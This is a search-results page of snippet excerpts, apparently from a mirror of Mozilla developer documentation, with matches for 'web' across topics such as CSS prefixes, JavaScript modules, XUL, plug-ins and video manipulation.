web technology that supports color. There are graphics technologies that are available on the
web which also support color. The HTML Canvas API Lets you draw 2D bitmapped graphics in a <canvas> element. See our Canvas tutorial to learn more. SVG (Scalable Vector Graphics) Lets you draw images using commands that draw specific shapes, patterns, and lines to produce an image. SVG commands are for...
...
WebGL The
Web Graphics Library is an OpenGL ES-based API for drawing high-performance 2D and 3D graphics on the
Web. See our
WebGL tutorial to find out more. ...
...And 10 more matches
JavaScript modules - JavaScript
<< Previous This guide gives you all you need to get started with JavaScript module syntax. A background on modules JavaScript programs started off pretty small -- most of its usage in the early days was to do isolated scripting tasks, providing a bit of interactivity to your
web pages where needed, so large scripts were generally not needed. Fast forward a few years and we now have complete applications being run in browsers with a lot of JavaScript, as well as JavaScript being used in other contexts (Node.js, for example). It has therefore made sense in recent years to start thinking about providing mechanisms for splitting JavaScript programs up into separate modules that can be imported when needed. Node.js has had this ability for a long time, and there are a number of ...
...therefore made sense in recent years to start thinking about providing mechanisms for splitting JavaScript programs up into separate modules that can be imported when needed. Node.js has had this ability for a long time, and there are a number of JavaScript libraries and frameworks that enable module usage (for example, other CommonJS and AMD-based module systems like RequireJS, and more recently
Webpack and Babel). The good news is that modern browsers have started to support module functionality natively, and this is what this article is all about. This can only be a good thing -- browsers can optimize loading of modules, making it more efficient than having to use a library and do all of that extra client-side processing and extra round trips. Browser support Use of native JavaScript mo...
...ing -- browsers can optimize loading of modules, making it more efficient than having to use a library and do all of that extra client-side processing and extra round trips. ...
...And 10 more matches
Configuration - Archive of obsolete content
Configuration A
webapp profile is a simple, INI-style text file that specifies some parameters about a
webapp. The profile can be used to launch the
webapp in Prism. The parameters also control some of the features of the Prism host window. Here is the list of parameters: id the unique name of this
web application. Remember that other people can create different
webapps using the same uri and this
webapp is only your particular instance or mashup. So make sure the identifier is not only unique to the
web application, but also to you. ...
...eatures of the Prism host window. Here is the list of parameters: id the unique name of this
web application. Remember that other people can create different
webapps using the same uri and this
webapp is only your particular instance or mashup. So make sure the identifier is not only unique to the
web application, but also to you. This identifier becomes the name of the profile folder where your
webapp is installed: google.mail@your.name uri the uri/url of the
web app: http://mail.google.com name the display name of the application: Gmail icon the icon you want to use for the Prism window when running this
web app. The actual icon file should be stored in the
webapp bundle. ...
... identifier becomes the name of the profile folder where your
webapp is installed: google.mail@your.name uri the uri/url of the
web app: http://mail.google.com name the display name of the application: Gmail icon the icon you want to use for the Prism window when running this
web app. The actual icon file should be stored in the
webapp bundle. status turns the status messages on or off for this
web app: yes or no location turns the readonly location bar on or off for this
web app: yes or no navigation turns the hotkey history navigation (ALT+LEFT, ALT+RIGHT and ALT+HOME) on or off for this
web app: yes or no splashscreen filename of an HTML page to be displayed while the app is loading. ...
...And 9 more matches
XULRunner Hall of Fame - Archive of obsolete content
t CSS features of Gecko for interactive e-books. Version updates match the rapid release cycle. Now available with XULRunner 30 with I18N support. MathML support is significant. Includes SMIL audio overlays and IDPF Fixed Layout. celtx All-in-one media pre-production software. Source ChatZilla A standalone version of the ChatZilla IRC client. Conkeror A highly programmable
web browser with a leopard-oriented design inspired by Emacs. Source Evergreen - Staff Client Evergreen is an open source library system. Source iEdit
Web A client/server based content manager and Internet Application suite. iEdit
Web users can add pages, images, forms, ecommerce many special effects and much more using the Xulrunner based client. It will comunicate dyamically with the ...
...It also contains a built in email marketing system that is tightly integrated with the associated
web site. ...
...d by Emacs. Source Evergreen - Staff Client Evergreen is an open source library system. Source iEdit
Web A client/server based content manager and Internet Application suite. iEdit
Web users can add pages, images, forms, ecommerce many special effects and much more using the Xulrunner based client. It will comunicate dyamically with the iEdit
Web server to maintain a fully configured
web site with embedded
web applications. It also contains a built in email marketing system that is tightly integrated with the associated
web site. One example of this tight integration is that the form in a
web site can collect payment and set up a login for a members only section. A newsletter can be sent to members who sign up on a regular bases. Instantbird Multi-protocol IM client. Buil...
...And 9 more matches
Archived Mozilla and build documentation - Archive of obsolete content
e what checkins have been made by a given person, or on a given CVS branch, or in a particular time period. It also includes tools for looking at checkin logs (and comments); doing diffs between various versions of a file; and finding out which person is responsible for changing a particular line of code ("cvsblame"). Bookmark Keywords Practically every
Web surfer has bookmarks, of course, and power surfers usually have hundreds stuffed into folders within folders. In addition to being handy pointers to useful resources, bookmarks in Mozilla can be used to make the address bar itself a power tool. Searches, lookups, package tracking, and even word definitions can all be retrieved from user-customized bookmarks. Building Tra...
...a Firefox sidebar extension This article describes how to create a registered sidebar for Firefox 2 or greater. See the references section for information on creating extension in earlier browsers. Creating a hybrid CD Creating a Microsummary A microsummary generator is a set of instructions for creating a microsummary from the content of a page.
Web pages can reference generators via <link rel="microsummary"> elements in their <head> elements. Generators can also be independently downloaded and installed by users if they include a list of pages to which they apply. Creating a Mozilla Extension A Mozilla extension is an installable enhancement to the Mozilla browser that provides additional function...
... menu for opening multiple links in a document or selection). This tutorial walks you through the process of building a Mozilla extension that adds an icon to Mozilla's status bar showing the current status of the Mozilla source code (i.e. whether or not the latest version of the code is compiling successfully and passing tests). The extension will access Tinderbox, mozilla.org's
webtool for tracking source code status, to get the status of the code. Creating a Skin for Firefox/Getting Started Download the latest version of Firefox and install it. Be sure to install the DOM Inspector extension as well. Creating a Skin for Mozilla In order to create a skin for mozilla, you will need to know three things. How to edit i...
...And 9 more matches
Listening to events on all tabs
ner To remove a previously installed progress listener, call removeTabsProgressListener(): gBrowser.removeTabsProgressListener(myProgressListener); Implementing a listener The listener object itself has five methods it can implement to handle various events: onLocationChange Called when the URI of the document displayed in the tab changes. void onLocationChange( nsIDOMXULElement aBrowser, nsI
WebProgress a
WebProgress, nsIRequest aRequest, nsIURI aLocation [optional] in unsigned long aFlags ); Parameters aBrowser The browser representing the tab whose location changed. a
WebProgress The progress instance responsible for handling the events. aRequest The nsIRequest object representing the associated request. aLocation An nsIURI object indicating the ta...
...representing the associated request. aLocation An nsIURI object indicating the tab's new URI. aFlags Optional: This is a value which explains the situation or the reason why the location has changed. Optional from Gecko 10 onProgressChange Called when updated progress information for the download of a document is available. void onProgressChange( nsIDOMXULElement aBrowser, nsI
WebProgress a
WebProgress, nsIRequest aRequest, PRInt32 aCurSelfProgress, PRInt32 aMaxSelfProgress, PRInt32 aCurTotalProgress, PRInt32 aMaxTotalProgress ); Parameters aBrowser The browser representing the tab for which updated progress information is being provided. a
WebProgress The progress instance responsible for handling the events. aRequest The nsIRequest objec...
...nsible for handling the events. aRequest The nsIRequest object representing the associated request. aCurSelfProgress The current progress for the request indicated by the request parameter. aMaxSelfProgress The value representing 100% complete for the request indicated by the request parameter. aCurTotalProgress The current progress for all requests associated with
webProgress. aMaxTotalProgress The total progress for all requests associated with
webProgress. onSecurityChange Notification called for security progress. This method will be called on security transitions (eg HTTP -> HTTPS, HTTPS -> HTTP, FOO -> HTTPS) and after document load completion. It might also be called if an error occurs during network loading. Note: These notifications will onl...
...And 9 more matches
nsIPrintingPrompt
The parentage is hidden by the GetInterface though which it is gotten. Inherits from: nsISupports Last changed in Gecko 1.7 This interface is identical to nsIPintingPromptService but without the parent nsIDOMWindow parameter. See nsIPrintingPromptService for all documentation. This service enables embedders to implement their own Print and Progress Dialogs. Each platform has a "base" or "backstop" implementation of the service. The service is automatically registered at start up. ...
... service to display at least the Print Dialog and a Print Progress Dialog or you may implement just one of the dialogs and pass back NS_ERROR_NOT_IMPLEMENTED for any of the others. For the Print Dialog: You may stub out this service by having all the methods return NS_ERROR_NOT_IMPLEMENTED. You can then fly you own dialog and then properly fill in the PrintSettings object before calling nsI
WebBrowserPrint's Print method. If you stub out this service you MUST set "printSilent" to true, if you do not, Printing will terminate and an error dialog will be displayed. Mac: The GFX layer still supports default toolkit behavior for displaying the Print Dialog. If an embedder implemented service returns NS_ERROR_NOT_IMPLEMENTED for "showPrintDialog" The toolkit will display the native pr...
...g showProgress() - not implemented (provided by OS) GTK: There are no native dialogs for GTK. ...
...And 9 more matches
Color picker tool - CSS: Cascading Style Sheets
<div id="canvas" data-tutorial="drop"> <div id="zindex" class="ui-input-slider" data-topic="z-index" data-info="z-index" data-max="20" data-sensivity="10"></div> </div> </div> CSS /* * COLOR PICKER TOOL */ .ui-color-picker { width: 420px; margin: 0; border: 1px solid #DDD; background-color: #FFF; display: table; -moz-user-select: none; -
webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-color-picker .picking-area { width: 198px; height: 198px; margin: 5px; border: 1px solid #DDD; position: relative; float: left; display: table; } .ui-color-picker .picking-area:hover { cursor: default; } /* HSV format - Hue-Saturation-Value(Brightness) */ .ui-color-picker .picking-area { background: url('https://m...
....ui-color-picker .picking-area:hover { cursor: default; } /* HSV format - Hue-Saturation-Value(Brightness) */ .ui-color-picker .picking-area { background: url('https://mdn.mozillademos.org/files/5707/picker_mask_200.png') center center; background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%); background: -
webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -
webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%); background: -ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -ms-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%); background: -o-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -o-linear-gradient(left, #FFF 0%, rgba(255, 25...
...eft, #FFF 0%, rgba(255, 255, 255, 0) 100%); background-color: #F00; } /* HSL format - Hue-Saturation-Lightness */ .ui-color-picker[data-mode='HSL'] .picking-area { background: -moz-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -moz-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%); background: -
webkit-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -
webkit-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%); background: -ms-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -ms-linear-gradient(left, hsl(0, 0%, 50%) 0%, hs...
...And 9 more matches
box-align - CSS: Cascading Style Sheets
with a CSS display value of box or inline-boxInheritednoComputed valueas specifiedAnimation typediscrete Formal syntax start | center | end | baseline | stretch Examples Setting box alignment <!DOCTYPE html> <html> <head> <title>CSS box-align example</title> <style> div.example { display: box; /* As specified */ display: -moz-box; /* Mozilla */ display: -
webkit-box; /*
WebKit */ /* Make this box taller than the children, so there is room for the box-pack */ height: 400px; /* Make this box wider than the children so there is room for the box-align */ width: 300px; /* Children should be oriented vertically */ box-orient: vertical; /* As specified */ -moz-box-orient: vertical; /* Mozilla */ -
webkit...
... */ /* Make this box taller than the children, so there is room for the box-pack */ height: 400px; /* Make this box wider than the children so there is room for the box-align */ width: 300px; /* Children should be oriented vertically */ box-orient: vertical; /* As specified */ -moz-box-orient: vertical; /* Mozilla */ -
webkit-box-orient: vertical; /*
WebKit */ /* Align children to the horizontal center of this box */ box-align: center; /* As specified */ -moz-box-align: center; /* Mozilla */ -
webkit-box-align: center; /*
WebKit */ /* Pack children to the bottom of this box */ box-pack: end; /* As specified */ -moz-box-pack: end; /* Mozilla */ -
webkit-box-pack: end; ...
...*/ /* Align children to the horizontal center of this box */ box-align: center; /* As specified */ -moz-box-align: center; /* Mozilla */ -
webkit-box-align: center; /*
WebKit */ /* Pack children to the bottom of this box */ box-pack: end; /* As specified */ -moz-box-pack: end; /* Mozilla */ -
webkit-box-pack: end; /*
WebKit */ } div.example > p { /* Make children narrower than their parent, so there is room for the box-align */ width: 200px; } </style> </head> <body> <div class="example"> <p>I will be second from the bottom of div.example, centered horizontally.</p> <p>I will be on the bottom of div.example, centered horizontally.</p> </div> </body> </html> Specifications Not part of any s...
...And 9 more matches
Audio and video manipulation - Developer guides
The beauty of the
web is that you can combine technologies to create new forms. Having native audio and video in the browser means we can use these data streams with technologies such as <canvas>,
WebGL or
Web Audio API to modify audio and video directly, for example adding reverb/compression effects to audio, or grayscale/sepia filters to video. This article provides a reference to explain what you need to do. Video manipulation The ability to read the pixel values from each frame of a video can be very useful. Video and canvas The <canvas> element provides a surface for drawing graphics onto
web pages; it is very powerful and can be coupled tightly with video. The general technique is to: Write a frame from the <video> element to an intermediary <canvas> element. Read the...
...ably add display: none to the style for the <video> element, to keep the source video from being drawn to the screen while showing only the canvas showing the altered frames. HTML We can set up our video player and <canvas> element like this: <video id="my-video" controls="true" width="480" height="270" crossorigin="anonymous"> <source src="https://udn.realityripple.com/samples/5b/8cd6da9c65.
webm" type="video/
webm"> <source src="https://udn.realityripple.com/samples/6f/08625b424a.m4v" type="video/mp4"> </video> <canvas id="my-canvas" width="480" height="270"></canvas> JavaScript This code handles altering the frames. var processor = { timerCallback: function() { if (this.video.paused || this.video.ended) { return; } this.computeFrame(); var self = this; ...
...a pretty simple example showing how to manipulate video frames using a canvas. For efficiency, you should consider using requestAnimationFrame() instead of setTimeout() when running on browsers that support it. Note: Due to potential security issues if your video is on a different domain than your code, you'll need to enable CORS (Cross Origin Resource Sharing) on your video server. Video and
WebGL
WebGL is a powerful API that uses canvas to draw hardware-accelerated 3D or 2D scenes. You can combine
WebGL and the <video> element to create video textures, which means you can put video inside 3D scenes. Note: You can find the source code of this demo on GitHub (see it live also). Playback rate We can also adjust the rate that audio and video plays at using an attribute of the <audio...
...And 9 more matches
Index of archived content - Archive of obsolete content
Creating Event Targets Creating Reusable Modules Developing for Firefox Mobile Display a Popup Getting Started (jpm) Getting started (cfx) List Open Tabs Listen for Page Load Listening for Load and Unload Localization Logging Modifying
Web Pages Based on URL Modifying the Page Hosted by a Tab Open a
Web Page Troubleshooting Unit Testing Using XPCOM without chrome Using third-party modules (jpm) Bootstrapped extensions Code snippets Alerts and No...
... XPath getAttributeNS Common Pitfalls Communication between HTML and your extension Creating custom Firefox extensions with the Mozilla build system Custom about: URLs Default Preferences Deploying a Plugin as an Extension Developing add-ons Displaying
web content in an extension without security issues Downloading JSON and JavaScript in extensions Enhanced Extension Installation Extension Etiquette Extension Library Extension Packaging Extension Samples Extension Theming Guidelines Extension Versioning, Update and Compatibility Extensions support in SeaMonkey...
... Extension Theming Guidelines Extension Versioning, Update and Compatibility Extensions support in SeaMonkey 2 Firefox addons developer guide Hiding browser chrome Hotfix Extension How to convert an overlay extension to restartless Inline options Install Manifests Installing Extensions and Themes From
Web Pages Interaction between privileged and non-privileged pages Jetpack Processes Legacy Add-ons Legacy extensions for Firefox for Android API Accounts.jsm BrowserApp addTab closeTab deck ...
...And 8 more matches
Using Remote XUL - Archive of obsolete content
nager.ALLOW_ACTION); XUL (pronounced like "zool"), which is short for XML-based User Interface Language, is an XML-based language for describing application interfaces. It contains elements for all common UI widgets (menus, buttons, toolbars, etc.) and many sophisticated ones (trees, browsers, color pickers). XUL is often used by desktop applications like Mozilla but can also be loaded from a
web server and rendered inside the content pane of a compatible browser. XUL loaded and rendered in this way is called remote XUL and can be used for basic functions like
web site navigation as well as to build sophisticated
web-based applications. [***aw: we should have a screenshot here of a xul document loaded in a content window***] This tutorial walks you through the process of building XUL-ba...
...tent pane of a compatible browser. XUL loaded and rendered in this way is called remote XUL and can be used for basic functions like
web site navigation as well as to build sophisticated
web-based applications. [***aw: we should have a screenshot here of a xul document loaded in a content window***] This tutorial walks you through the process of building XUL-based navigation for the mozilla.org
web site. After completing the tutorial you should understand how to: create XUL documents; serve them from a
web server; use Cascading Style Sheets (CSS) to change their appearance; use JavaScript to define their behavior. Global
Web Site Navigation Most
web sites today have poor global navigation (features for locating and visiting pages across the entire site). It is difficult to discern ...
...lem is that HTML has limited features for navigation. Its primary mechanism--the hyperlink--was designed to be interspersed in content. HTML-based navigation bars take up too much space, DHTML menus are slow and buggy, and site maps make you go to an intermediate page to find the information you want. XUL's navigation-oriented widgets, like toolbars, menus, and trees, are a better way to provide
web site navigation because they can fit a lot of navigation into a small space, render quickly, and work well. Note: The downside to using XUL is that it only works with browsers that understand it. This isn't a problem inside an organization that uses Mozilla-based browsers exclusively, but for other sites you may need to provide another form of navigation as well. Prerequisites To understand th...
...And 8 more matches
Back to the Server: Server-Side JavaScript On The Rise - Archive of obsolete content
by Davey Waterson, JavaScript Architect, Aptana There's no debate that JavaScript is the most widely used language client-side on the
Web. Regardless of how the back-ends of your
web applications are implemented, client side you're using JavaScript for everything from same form validations to full Ajax applications. Now imagine being able to develop
web apps using JavaScript server-side too. Wouldn't being able to use the same language on both client and server simplify life for us developers? Full Circle If you were part of the early
web's big bang in the mid-1990s you might recall that being able to use JavaScript both client-side and server-side was core to Netscape's original vision for
Web apps. Netscape Livewire was the first server-side JavaScript engine...
...recall that being able to use JavaScript both client-side and server-side was core to Netscape's original vision for
Web apps. Netscape Livewire was the first server-side JavaScript engine. Now more than 10 years later, with Netscape's technology group having been transformed into The Mozilla Foundation, server-side JavaScript is seeing a strong resurgence because of the simplicity it provides to
Web developers reinvigorated by the fact that today's CPUs can process JavaScript more than 10x faster than the CPUs of the mid-90's ever could. And just like before, it's the Mozilla team that's at the core of this latest evolution of the
Web. In fact, the next JavaScript engine from Mozilla, TraceMonkey, is poised to boost JavaScript performance by factors of 20 to 40 times according to Brendan Eic...
...a team that's at the core of this latest evolution of the
Web. In fact, the next JavaScript engine from Mozilla, TraceMonkey, is poised to boost JavaScript performance by factors of 20 to 40 times according to Brendan Eich, Mozilla CTO and the creator of JavaScript. In recent developments we also see the advent of other performant engines for JavaScript such as v8 from Google and squirrelfish for
webKit, these engines are raising the bar on performance and help to maintain a competitive environment that will hopefully direct competitive focus on the performance aspect of all the major JavaScript implementations. There are currently two main JavaScript engines used server-side and both are from the minds at Mozilla: Mozilla Rhino and Mozilla SpiderMonkey. Rhino is a Ja...
...And 8 more matches
Translation phase
al tutorials on localizing for that particular project group. It's up to you and your community to determine which l10n tool will best suit your needs. As you gain more experience, you may want to localize independent of Mozilla-developed l10n tools, which we'll also discuss here. Projects The Mozilla projects and their l10n workflows are divided into these groups: Mozilla applications, Mozilla
websites, and Add-ons. Below you'll find the list of all Mozilla projects, their associated l10n tools, and links to tutorials outlining their workflows. Mozilla applications So you're interested in localizing Mozilla applications. Each l10n tool follows a different workflow for localizing Mozilla application projects. We've linked a brief tutorial to each l10n tool name below. Follow the tutorials...
...lla applications So you're interested in localizing Mozilla applications. Each l10n tool follows a different workflow for localizing Mozilla application projects. We've linked a brief tutorial to each l10n tool name below. Follow the tutorials to help you decide which l10n tool fits your specific needs. These are the l10n tools we use to localize Mozilla applications: Pootle A user-friendly
web portal built on the Translate Toolkit API. This tool includes workspaces for translating strings, reviewing string submissions, and project dashboards. See the instance of Pootle used to localize Mozilla applications. Koala A l10n add-on for the offline, stand-alone Komodo Edit text editor. Mozilla Translator Am offline, stand-alone, Java-based l10n tool that helps you translate and integr...
...s you translate and integrates with your repositories. Visit the Mozilla Translator (MT) download page to get your own MT client. Version 5.26 is the latest version. Virtaal An offline, stand-alone version of Pootle that is also built on the Translate Toolkit API. These are the Mozilla application projects that are localized using the l10n tools above: Firefox The award-winning Firefox(R)
Web browser has security, speed and new features that will change the way you use the
Web. See the list of the most critical strings for localizing in Firefox, as well as a guide to understanding how they're organized. Thunderbird Enjoy safe, fast and easy email, Mozilla-style. The Thunderbird(R) email client includes intelligent spam filters, powerful search and customizable views. Seamonkey Sea...
...And 8 more matches
nsIDocumentLoader
Inherits from: nsISupports Last changed in Gecko 1.8 (Firefox 1.5 / Thunderbird 1.5 / SeaMonkey 1.0) Implemented by: @mozilla.org/docloaderservice;1. ...
...Obsolete since Gecko 1.8 ...
...Obsolete since Gecko 1.8 nsILoad...
...And 8 more matches
Plug-in Basics - Plugins
s, there were helper applications. A helper application is a separate, free-standing application that can be started from the browser. Like a plug-in, the browser starts a helper application when the browser encounters a MIME type that is mapped to it. Unlike a plug-in, a helper application runs separately from the browser in its own application space and does not interact with the browser or the
web. When the browser encounters a MIME type, it always searches for a registered plug-in first. If there are no matches for the MIME type, it looks for a helper application. Plug-ins and helper applications fill different application needs. For more information about helper applications, refer to the Netscape online help. How plug-ins work The life cycle of a plug-in, unlike that of an applicati...
...E type, it always searches for a registered plug-in first. If there are no matches for the MIME type, it looks for a helper application. Plug-ins and helper applications fill different application needs. For more information about helper applications, refer to the Netscape online help. How plug-ins work The life cycle of a plug-in, unlike that of an application, is completely controlled by the
web page that calls it. This section gives you an overview of the way that plug-ins operate in the browser. When Gecko starts, it looks for plugin modules in particular places on the system. For more information about where Gecko looks for plugin modules on different systems, see How Gecko Finds Plug-ins. When the user opens a page that contains embedded data of a media type that invokes a plug-in,...
...dent code and enhance the Gecko core functionality by providing support for new data types. The plug-in file type depends on the platform: MS Windows: .DLL (Dynamic Link Library) files Unix: .SO or .DSO (Shared Objects) files Mac OS X: PPC/x86/Universal loadable Mach-O bundle Windowed and windowless plug-ins You can write plug-ins that are drawn in their own native windows or frames on a
web page. Alternatively, you can write plug-ins that do not require a window to draw into. Using windowless plug-ins extends the possibilities for
web page design and functionality. Note, however, that plug-ins are windowed by default, because windowed plug-ins are in general easier to develop and more stable to use. A windowed plug-in is drawn into its own native window on a
web page. Windowed pl...
...And 8 more matches
Migrating from Firebug - Firefox Developer Tools
respecting the same origin policy. That means that when you open a page on the same origin in a different tab, Firebug gets opened automatically. And when you open a page of a different origin in the same tab, it closes automatically. The DevTools' activation on the other hand is tab based. That means, that when you open the DevTools in a tab, they stay open even when you switch between different
websites. When you switch to another tab, though, they're closed. Open the tools Firebug can be opened by pressing F12. To open it to inspect an element it is possible to press Ctrl+Shift+C / Cmd+Opt+C. The DevTools share the same shortcuts, but also provide shortcuts for the different panels. E.g. the Network Monitor can be opened via Ctrl+Shift+Q / Cmd+Opt+Q, the
Web Console via Ctrl+Shift+K / Cm...
...losed. Open the tools Firebug can be opened by pressing F12. To open it to inspect an element it is possible to press Ctrl+Shift+C / Cmd+Opt+C. The DevTools share the same shortcuts, but also provide shortcuts for the different panels. E.g. the Network Monitor can be opened via Ctrl+Shift+Q / Cmd+Opt+Q, the
Web Console via Ctrl+Shift+K / Cmd+Opt+K and the Debugger via Ctrl+Shift+S / Cmd+Opt+S.
Web Console The
Web Console is the equivalent of Firebug's Console panel. It shows log information associated with a
web page and allows you to execute JavaScript expressions via its command line. The display between both is somewhat different. This may be changed in bug 1269730. Filter log messages Firebug offers two ways to filter log messages, via the options menu and via the filter buttons wit...
...loper Tools console offers similar functionality via the filter buttons inside its toolbar -- centralized at one place. Command Line API The Command Line API in Firebug provides some special functions for your convenience. The Developer Tools command line has some functions in common, but also has some other functions and misses others. Console API To log things to the console from within the
web page Firebug makes a Console API available within the page. The Developer Tools share the same API, so your console.* statements will continue to work. Persist logs In Firebug you can click the Persist button within the toolbar to keep the logged messages between page navigations and reloads. In the DevTools this option is called Enable persistent logs and is available within the Toolbox Option...
...And 8 more matches
animation-direction - CSS: Cascading Style Sheets
e definition of 'animation-direction' in that specification. Working Draft Initial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...eEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung Internetanimation-directionChrome Full support 43 Full support 43 Full support 3Prefixed Prefixed Implemented with the vendor prefix: -
webkit-Edge Full support 12 Full support 12 Full support 12Prefixed Prefixed Implemented with the vendor prefix: -
webkit-Firefox Full support 16 Full support 16 F...
... 12 Full support 12Prefixed Prefixed Implemented with the vendor prefix: -
webkit-Firefox Full support 16 Full support 16 Full support 49Prefixed Prefixed Implemented with the vendor prefix: -
webkit- Full support 44Prefixed Disabled Prefixed Implemented with the vendor prefix: -
webkit-Disabled From version 44: this feature is behind the layout.css.prefixes.
webkit preference (needs to be set to true). To change preferences in Firefox, visit about:config. Full support 5Prefixed Prefixed Implemented wit...
...And 8 more matches
filter - CSS: Cascading Style Sheets
g alt="Test_Form_s.jpg" id="img4" class="internal default" src="/files/3711/Test_Form_2_s.jpg" style="width: 100%;" /></td> </tr> </tbody> </table> html { height:100%; } body { font: 14px/1.286 "Lucida Grande", "Lucida Sans Unicode", "DejaVu Sans", Lucida, Arial, Helvetica, sans-serif; color: rgb(51, 51, 51); height:100%; overflow:hidden; } #img2 { width:100%; height:auto; -
webkit-filter:blur(5px); -ms-filter:blur(5px); filter:blur(5px); } table.standard-table { border: 1px solid rgb(187, 187, 187); border-collapse: collapse; border-spacing: 0; margin: 0 0 1.286em; height: 100%; width: 85%; } table.standard-table th { border: 1px solid rgb(187, 187, 187); padding: 0px 5px; background: none repeat scroll 0% 0% rgb(238, 238, 238); text-align: left;...
..." id="img4" class="internal default" src="/files/3709/Test_Form_s.jpg" style="width: 100%;" /></td> </tr> </tbody> </table> html { height:100%; } body { font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif; color: rgb(51, 51, 51); height:100%; overflow:hidden; } #img2 { width:100%; height:auto; -moz-filter:brightness(2); -
webkit-filter:brightness(2); -ms-filter:brightness(2); filter:brightness(2); } table.standard-table { border: 1px solid rgb(187, 187, 187); border-collapse: collapse; border-spacing: 0px; margin: 0px 0px 1.286em; height:100%; width: 85%; } table.standard-table th { border: 1px solid rgb(187, 187, 187); padding: 0px 5px; background: none repeat scroll 0% 0% rgb(238, 238, 238); ...
...d="img4" class="internal default" src="/files/3713/Test_Form_3_s.jpg" style="width: 100%;" /></td> </tr> </tbody> </table> html { height:100%; } body { font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif; color: rgb(51, 51, 51); height:100%; overflow:hidden; } #img2 { width:100%; height:auto; -moz-filter:contrast(200%); -
webkit-filter:contrast(200%); -ms-filter:contrast(200%); filter:contrast(200%); } table.standard-table { border: 1px solid rgb(187, 187, 187); border-collapse: collapse; border-spacing: 0px; margin: 0px 0px 1.286em; width: 85%; height: 100%; } table.standard-table th { border: 1px solid rgb(187, 187, 187); padding: 0px 5px; background: none repeat scroll 0% 0% rgb(238, 238, 238)...
...And 8 more matches
transition-duration - CSS: Cascading Style Sheets
::after pseudo-elementsInheritednoComputed valueas specifiedAnimation typediscrete Formal syntax <time># Examples transition-duration: 0.5s <div class="parent"> <div class="box">Lorem</div> </div> .parent { width: 250px; height:125px;} .box { width: 100px; height: 100px; background-color: red; font-size: 20px; left: 0px; top: 0px; position:absolute; -
webkit-transition-property: width height background-color font-size left top transform -
webkit-transform color; -
webkit-transition-duration:0.5s; -
webkit-transition-timing-function: ease-in-out; transition-property: width height background-color font-size left top transform -
webkit-transform color; transition-duration:0.5s; transition-timing-function: ease-in-out; } .box1{ tra...
...h height background-color font-size left top transform -
webkit-transform color; -
webkit-transition-duration:0.5s; -
webkit-transition-timing-function: ease-in-out; transition-property: width height background-color font-size left top transform -
webkit-transform color; transition-duration:0.5s; transition-timing-function: ease-in-out; } .box1{ transform: rotate(270deg); -
webkit-transform: rotate(270deg); width: 50px; height: 50px; background-color: blue; color: yellow; font-size: 18px; left: 150px; top:25px; position:absolute; -
webkit-transition-property: width height background-color font-size left top transform -
webkit-transform color; -
webkit-transition-duration:0.5s; -
webkit-transition-timing-function: ease-in-out; ...
...color: blue; color: yellow; font-size: 18px; left: 150px; top:25px; position:absolute; -
webkit-transition-property: width height background-color font-size left top transform -
webkit-transform color; -
webkit-transition-duration:0.5s; -
webkit-transition-timing-function: ease-in-out; transition-property: width height background-color font-size left top transform -
webkit-transformv color; transition-duration:0.5s; transition-timing-function: ease-in-out; } function updateTransition() { var el = document.querySelector("div.box"); if (el) { el.className = "box1"; } else { el = document.querySelector("div.box1"); el.className = "box"; } return el; } var intervalID = window.setInterval(updateTransition, 7000); transition-d...
...And 8 more matches
Creating a cross-browser video player - Developer guides
> element that acts as the video container. To anyone familiar with HTML5 markup and the <video> element, there should be nothing here that surprises you. ...
...s as the video container. To anyone familiar with HTML5 markup and the <video> element, there should be nothing here that surprises you. ...
... attribute is set. Most browsers interpret the presence of a poster attribute to mean that the specified image is to be displayed until the user chooses to play the video. IE9 will only use the specified poster image in this way if preload="none" is set; otherwise, it will take the first still of the video and display that instead. Three different video sources are provided for the player: MP4,
WebM, and Ogg. Using these different source formats gives the best chance of being supported across all browsers that support HTML5 video. For further information on video formats and browser compatibility, see supported media formats. For browsers that do not support HTML5 video, a Flash player is provided that will allow playback of the MP4 video source, provided the end user has Flash installed. ...
...And 8 more matches
HTML elements reference - HTML: Hypertext Markup Language
HTML <ul> element represents an unordered list of items, typically rendered as a bulleted list. Inline text semantics Use the HTML inline text semantic to define the meaning, structure, or style of a word, line, or any arbitrary piece of text. Element Description <a> The HTML <a> element (or anchor element), with its href attribute, creates a hyperlink to
web pages, files, email addresses, locations in the same page, or anything else a URL can address. <abbr> The HTML Abbreviation element (<abbr>) represents an abbreviation or acronym; the optional title attribute can provide an expansion or description for the abbreviation. <b> The HTML Bring Attention To element (<b>) is used to draw the reader's attention to the element'...
... <picture> The HTML <picture> element contains zero or more <source> elements and one <img> element to offer alternative versions of an image for different display/device scenarios. <source> The HTML <source> element specifies multiple media resources for the <picture>, the <audio> element, or the <video> element. Scripting In order to create dynamic content and
Web applications, HTML supports the use of scripting languages, most prominently JavaScript. Certain elements support this capability. Element Description <canvas> Use the HTML <canvas> element with either the canvas scripting API or the
